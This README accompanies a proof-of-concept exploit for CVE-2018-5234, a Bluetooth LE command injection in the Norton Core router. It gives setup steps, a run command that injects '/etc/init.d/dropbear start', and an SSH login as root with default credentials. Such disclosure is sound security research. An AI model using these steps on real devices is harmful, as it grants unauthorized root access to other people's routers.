PoC command injection in BLE service of Norton Core Secure WiFi Router (CVE-2018-5234)

For more information read paper.

To demonstrate the exploitation, we will use:

• OS GNU/Linux;
• Bluetooth dongle adapter;
• BlueZ utility (for testing Bluetooth connection).

In order to use the script, we will need to set all dependencies in a advance:

$ pip install -r ./requirements.txt

With the help of BlueZ utilities, we should ensure Bluetooth is enabled and functions properly.

1. Restart the router to provide access to the engineering page.

2. Start the PoC on behalf of the root user (required for operating with Bluetooth) with the command on executing as an argument:

   $ ./ble_norton_core.py "/etc/init.d/dropbear start"

   After the script is successfully executed, we get access to the device via the SSH connection. We put root as a user and admin as password:

   $ ssh root@norton.core
